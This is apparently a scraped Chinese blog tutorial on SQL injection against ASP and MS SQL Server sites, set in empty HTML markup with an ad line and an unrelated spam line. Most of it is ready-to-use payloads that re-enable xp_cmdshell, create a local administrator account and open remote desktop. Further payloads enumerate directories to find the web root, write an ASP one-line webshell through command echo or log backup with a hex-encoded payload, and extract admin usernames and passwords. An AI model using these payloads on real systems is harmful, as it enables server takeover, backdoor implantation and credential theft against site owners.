<ruby id="bdb3f"></ruby>

    <p id="bdb3f"><cite id="bdb3f"></cite></p>

      <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
        <p id="bdb3f"><cite id="bdb3f"></cite></p>

          <pre id="bdb3f"></pre>
          <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

          <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
          <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

          <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                <ruby id="bdb3f"></ruby>

                合規國際互聯網加速 OSASE為企業客戶提供高速穩定SD-WAN國際加速解決方案。 廣告
                msSQL數據庫注入: 參考:https://blog.csdn.net/xabc3000/article/details/7615378 介紹一下基于ASP+MsSQL環境下的注入攻擊技術。 ## 第一步:注入點類型的判斷 首先要對MsSQL注入點進行一下基本的注入檢測,然后判斷是否是MsSQL注入點 ```sql # 如果頁面返回正常,則說明為MsSQL注入點。 and exists (select * from sysobjects) >0 ``` ## 第二步:獲取當前系統用戶名 ```sql and system_user=0 # system_user是查詢當前數據庫系統的用戶名,是字符型,與整型數據進行對比時,類型不匹配會造成數據庫報錯。 # 從返回的錯誤信息中,可得知當前系統用戶名。(如果不行,換個瀏覽器試試可能就成功了) ``` ##第三步:判斷注入點權限 ```sql and 1=(select is_srvrolemember('sysadmin')) and 1=(select is_srvrolemember('db_owner')) and 1=(select is_srvrolemember('public')) 如果查詢返回正常頁面,則說明當前數據庫用戶具有sa、db_owner、public權限, sa為數據庫用戶中最高權限,默認也是系統權限,對服務器安全威脅是相當高的。 如果數據庫與Web服務器是同一個,默認情況下可以通過MsSQL自帶的存儲過程對整個服務器進行控制。 db_owner 權限的話,我們可以找到WEB的路徑,然后用備份的方式得到webshell,有時也可以對注冊表進行操作。 public 權限的話,又要面對表和列了,不過MSSQL比ACCESS的“猜”表方便許多,這里是“暴”表,使目標直接暴出來。 如果權限不足,可通過注入點猜解數據庫內容獲得管理員賬號。 ``` ## 第四步:MsSQL返回信息判斷 ```sql and @@version>0 # 從頁面返回的錯誤信息中,可以得到數據庫版本信息。 # 如果頁面出錯,但未返回可利用的信息,則說明MsSQL關閉了錯誤信息提示, # 在猜解數據庫內容時,就不能用爆庫的方法了,只能使用union select聯合查詢或盲注入攻擊方法。 # 如下查詢檢測,獲得更多的關于MsSQL注入點的信息。 ## 判斷MsSQL支持多行語句查詢 ;declare @d int # 是否支持子查詢 and (select count (1) from [sysobjects])>=0 # 獲取當前數據庫用戶名 and user>O # 獲取當前數據庫名稱 and db_name>0 # 當前數據庫名 and l=convert (int,db_name ()) 或 1=(select db_name ()) # 本地服務名 and 1=(select @@servername) # 判斷是否有庫讀取權限 and 1=(Select HAS_DBACCESS ('master')) ``` ## 第五步:利用MsSQL擴展存儲注入攻擊 擴展存儲過程是MsSQL提供的特殊功能。 所謂“擴展存儲過程”,其實就是一個普通的Windows系統DLL文件,按照某種規則實現了某些函數功能. MsSQL利用擴展存儲可以實現許多強大的功能,包括對系統進行操作.利用這個特性,在實施MsSQL注入攻擊時,可以更容易地對系統進行控制。 xp_cmdshell是什么? 答:SQL中運行系統命令行的系統存儲過程,一般在安全級別較高的服務器上,建議關閉或限制訪問權限。 可以使用外圍應用配置器工具以及通過執行 sp_configure 來啟用和禁用 xp_cmdshell。 ```sql # 提交如下查詢進行檢測。查看xp_cmdshell、xp_regread擴展存儲過程是否被刪除。 and 1=(Select count(*) FROM master. dbo.sysobjects Where xtype ='X' AND name = 'xp_cmdshell') and 1=(Select count(*) FROM master. dbo.sysobjects Where name = 'xp_regread') #如果擴展存儲被刪除,可執行如下查詢進行恢復。 EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;-- ## 或者以下一系列語句: ;EXEC sp_configure 'show advanced options', 1 -- ;RECONFIGURE WITH OVERRIDE -- ;EXEC sp_configure 'xp_cmdshell', 1 -- ;RECONFIGURE WITH OVERRIDE -- ;EXEC sp_configure 'show advanced options', 0 -- ``` ### 攻擊中最常利用的擴展存儲 xp_cmdshell—利用此存儲過程可以直接執行系統命令。 xp_regread—利用此存儲過程可以進行注冊表讀取。 xp_regwrit一利用此存儲過程可以寫入注冊表。 xp_dirtre一利用此存儲過程可以進行列目錄操作。 xp_enumds—利用此存儲過程可以進行ODBC連接。 xp_loginconfig-利用此存儲過程可以配置服務器安全模式信息。 xp_makecab一一利用此存儲過程可以創建壓縮卷。 xp_ntsec_enumdomains-利用此存儲過程可以查看domain信息。 xp_terminate_jroces一利用此存儲過程可以查看終端進程,給出一個進程PID. 結合上面的這些擴展存儲,通過提交精心構造的查詢語句,可利用擴展存儲的強大功能進行攻擊。 ## 第六步:SA權限下擴展存儲攻擊利用方法→3389遠程終端 SA權限判斷 ```sql and 1=(select IS_SRVROLEMEMBER('sysadmin')) ```` 利用擴展存儲開啟遠程終端步驟: ```sql # 1.添加賬號: ;exec master..xp_cmdshell 'net user test test /add' # 2.提權賬號:加入admin組 ;exec master..xp_cmdshell 'net localgroup administrators test /add' # 3.開啟3389端口:不報錯就表示成功 ;execmaster.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; # 4.鏈接3389端口控制對方的電腦 輸入目標的IP,賬號密碼就是test,連接成功后退出的話點擊斷開,不要關機。 ``` ?sa權限下,還有如下幾種方法都可以獲得目標的webshell。 * 利用 xp_regwrite 操作注冊表與開啟沙盒模式 * 利用 sp_makewebtask 寫入一句話木馬 * 利用 sp_oacreate 存儲遠程下載文件 * 利用 sp_addlogin 擴展管理數據庫用戶 * 利用 xp_servicecontrol 管理服務 ## 第七步:dbowner 權限利用方法( ) dbowner權限判斷 ```sql and 1=(SELECT IS_MEMBER('db_owner'));-- ``` ?當數據庫連接賬戶為dbowner權限時,無法直接利用擴展存儲執行各種系統命令,進行攻擊的過程比較煩瑣。 1. 通常首先利用xp_dirtree擴展存儲列出Web目錄, 2. 然后利用SQL語句創建一個臨時表,插入一句話木馬到臨時表中。 3. 然后利用數據庫備份語句,將數據庫備份到Web目錄并保存為ASP格式的文件,即可得到一個一句話木馬后門。 4. 最后利用一句話木馬客戶端連接后門,得到WebShell后就可以控制整個服務器了。 ??db_owner目前公開的方法主要有五種: 第一種:就是最普遍的backup,現在利用差異備份生成的asp文件確實要比以前小拉不少,但能否得到webshell,目前成功率還不是很高。 第二種:就是在下的萬能提權,此法成功率幾乎為零,只有在特定的條件下面才能實現。 第三種:就是LCX大牛在《MSSQLdb_owner角色注入直接獲得系統權限》所說的利用xp_regread讀出VNC在注冊表的加密密碼,然后破解,直接拿到系統權限,這種方法局限性比較大,要是對方主機沒有裝vnc,你怎么辦。 第四種:就是利用xp_regwrite再注冊表里直接加個系統帳號或者直接寫個webshell,在主機重起的時候就可以拿到webshell或者系統權限。此法適用范圍比較大,成功率也相對前3種較高點,但缺點也是顯而易見的,就是不能夠馬上得到webshell,需要對方重起。 第五種:就是利用添加作業的一些存儲過程,sp_add_job,sp_addtask,xp_dirtree之類得到系統權限。理論上應該說是目前這5種里面成功率最高的的一種, 下面我們就重點介紹一下第五種方法。 ### 1.找出網站安裝路徑: 當Web服務器與數據庫在同一服務器主機上時,就可以備份一句話木馬到Web目錄了。但是在備份一句話木馬前,首先需要搜索Web目錄,可通過如下幾個步驟實現。 第壹種方法:通過報錯或baidu、google等查找 第貳種方法:這種方法需要滿足三個條件,可以獲取目標的所有盤符和深度 1. SQL SERVER允許執行多行語句; 2. 該網站能進行注入; 3. 沒有返回詳細的錯誤提示信息(否則沒有必要用這種方法)。 ```sql # 1. 刪除表black;首先建立一個臨時表用于存放master..xp_dirtree(適合于public)生成的目錄樹 ,該表的dir字段表示目錄的名稱,depth字段表示目錄的深度。 ;drop table black;create table temp(dir nvarchar (255), depth varchar(255),files varchar(255), id int not null identity (1,1))-- # 2. 然后執行xp_dirtree獲得D盤的目錄樹 ;insert into temp(dir,depth,files) exec master.dbo.xp_dirtree 'D:',1,1-- # 3. 查看D盤有幾個文件夾,這樣對D盤有個大致的了解 and (select count(*) from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷'))>=數字(數字=0、1、2、3...) # 4. 接著在對方的網站上找幾個一級子目錄,如user、photo,然后,用篩選的方法來判斷WEB根目錄上是否存在此盤上 ## 看語句的返回結果,如果為真,表示WEB根目錄有可能在此盤上 and (select count(*) from temp where dir<>'user')<(select count(*) from temp) and (select count(*) from temp where dir<>'photo')<(select count(*) from temp) # 5. 假設找到的WEB根目錄在此盤上,用下面的語句來獲得一級子目錄的深度: ## 假設得到的depth是3,說明user目錄是D盤的3級目錄,則WEB根目錄是D盤的二級目錄。 and (select depth from temp where dir='user')>=數字 #數字=1、2、3... # 6. 接下來,另建一個臨時表temp1,用來存放D盤的1級子目錄下的所有目錄 ;create table temp1(dir nvarchar(255),depth varchar(255));-- # 7. 然后把從D盤的第一個子目錄下的所有目錄存到temp1中 declare @dirname varchar(255);set @dirname='D:/'+(select top 1 dir from (select top 1 dir from temp where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp1 exec master.dbo.xp_dirtree @dirname # 8. temp1中已經保存了所有D盤第一級子目錄下的所有目錄,用同樣的方法來判斷根目錄是否在此一級子目錄下 ## 如果返回為真,表示根目錄可能在此子目錄下,記住要多測試幾個例子,如果都返回為假,則表明WEB根目錄不在此目錄下 ## 用同樣的方法來獲得D盤第2、3...個子目錄下的所有目錄列表,來判斷WEB根目錄是否在其下。 ## 要注意,用xp_dirtree前一定要把temp1表中的內容刪除。 and (select count(*) from temp1 where dir<>'user')<(select count(*) from temp1) # 9.假設WEB根目錄在D盤的第一級子目錄下,該子目錄名稱為website, ## 前面我們知道了WEB根目錄的深度為2,我們需要知道website下到底哪個才是真正的WEB根目錄。 ## 用同樣的方法,再建立第3個臨時表 temp2 ;create table temp2(dir nvarchar(255),depth varchar(255));-- # 10. 然后把從D盤的website下的所有目錄存到temp2中 declare @dirname varchar(255);set @dirname='D:/website/'+(select top 1 dir from (select top 1 dir from temp1 where depth=1 and dir not in('Documents and Settings','Program Files','RECYCLER','System Volume Information','WINDOWS','CAConfig','wmpub','Microsoft UAM 卷') order by dir desc)T order by dir);insert into temp2 exec master.dbo.xp_dirtree @dirname # 11.用同樣的方法判斷該目錄是否為根目錄 ## 如果返回為真,為了確定我們的判斷,多測試幾個例子,方法上面都講到了,如果多個例子都返回為真,那么就確定了該目錄為WEB根目錄。 and (select count(*) from temp2 where dir<>'user')<(select count(*) from temp2) 用以上的方法基本上可以獲得WEB根目錄,現在我們假設WEB根目錄是:D:/website/www # 12. 查詢臨時表中的內容,也就是指定的目錄文件和文件夾名。由于不能一次性獲取所有目錄文件和文件夾名,因此需要更改id的值,依次列出文件和文件夾來。 and (select dir from temp where id=1)>0 ``` ### 2.獲取數據庫用戶名 ```sql 'http://192.168.1.55/sqlserver/1.aspx?xxser=1 and db_name() =O-- ``` ### 3.寫入一句話木馬: 方法一:一句話木馬'(通過中國菜刀) ```sql %20;exec%20master..xp_cmdshell%20'Echo%20"<%eval%20request("chopper")%>"%20>>%20c:\wwwtest\iis-xxser.com--wwwroot\muma.asp'-- # <%eval%20request("chopper")%> 是一句話木馬,需要根據web的不同而變化 # c:\wwwtest\iis-xxser.com--wwwroot\ 是路徑 # muma.asp 是一句話木馬的名字 ``` 方法二:差異備份'(此方法數據庫必須曾經備份過事務日志) ```sql ;alter database testdb set RECOVERY FULL;create table test_tmp(str image);backup log testdb to disk='c:\test1' with init;insert into test_tmp(str) values (0x3C2565786375746528726571756573742822636D64222929253E);backup log testdb to disk='C:\wwwtest\iis-xxser.com--wwwroot\yjh.asp';alter database testdb set RECOVERY simple # (0x3C2565786375746528726571756573742822636D64222929253E) 是一句話木馬的16進制編碼 # C:\wwwtest\iis-xxser.com--wwwroot\ 是物理路徑 # yjh.asp 是一句話木馬的名字 ``` 也可以使用工具代替上述操作(GetWebShell),然后用菜刀連接目標 * 地址為:目標的根目錄地址然后/muma.asp * 密碼為:“chopper” 然后就可以進入對方的服務器了。 ## 第八步:public權限利用方法 ```sql # public權限檢測 and db_name()=0-- # 1.獲取mssql所有數據庫名和路徑 %20and%200=(select%20top%202%20cast([name]%20as%20nvarchar(256))%2bchar(94)%2bcast([filename]%20as%20nvarchar(256))%20from%20(select%20top%202%20dbid,name,filename%20from%20[master].[dbo].[sysdatabases]%20order%20by%20[dbid])%20t%20order%20by%20[dbid]%20desc)-- # 2.獲取當前數據庫所有表名 and 0<>(select top 1 name from testdb.dbo.sysobjects where xtype=0x7500 and name not in (select top 2 name from testdb.dbo.sysobjects where xtype=0x7500))-- # 3.爆表名及字段名 having 1=1-- ●爆出了admin.id group by admin.id having 1=1-- ●又爆出了admin.name group by admin.id,admin.name having 1=1-- ●又爆出了admin.passwd # 4、獲取字段內容 //and//(select//top//1//isnull(cast([id]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([name]//as//nvarchar(4000)),char(32))%2bchar(94)%2bisnull(cast([password]//as//nvarchar(4000)),char(32))//from//[testdb]..[admin]//where//1=1//and//id//not//in//(select//top//0//id//from//[testdb]..[admin]//where//1=1//group//by//id))%3E0//and//1=1 ```
                  <ruby id="bdb3f"></ruby>

                  <p id="bdb3f"><cite id="bdb3f"></cite></p>

                    <p id="bdb3f"><cite id="bdb3f"><th id="bdb3f"></th></cite></p><p id="bdb3f"></p>
                      <p id="bdb3f"><cite id="bdb3f"></cite></p>

                        <pre id="bdb3f"></pre>
                        <pre id="bdb3f"><del id="bdb3f"><thead id="bdb3f"></thead></del></pre>

                        <ruby id="bdb3f"><mark id="bdb3f"></mark></ruby><ruby id="bdb3f"></ruby>
                        <pre id="bdb3f"><pre id="bdb3f"><mark id="bdb3f"></mark></pre></pre><output id="bdb3f"></output><p id="bdb3f"></p><p id="bdb3f"></p>

                        <pre id="bdb3f"><del id="bdb3f"><progress id="bdb3f"></progress></del></pre>

                              <ruby id="bdb3f"></ruby>

                              哎呀哎呀视频在线观看